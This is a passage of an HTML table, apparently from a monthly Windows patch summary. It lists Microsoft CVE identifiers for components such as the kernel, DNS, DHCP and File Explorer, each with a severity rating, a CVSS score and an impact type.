  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
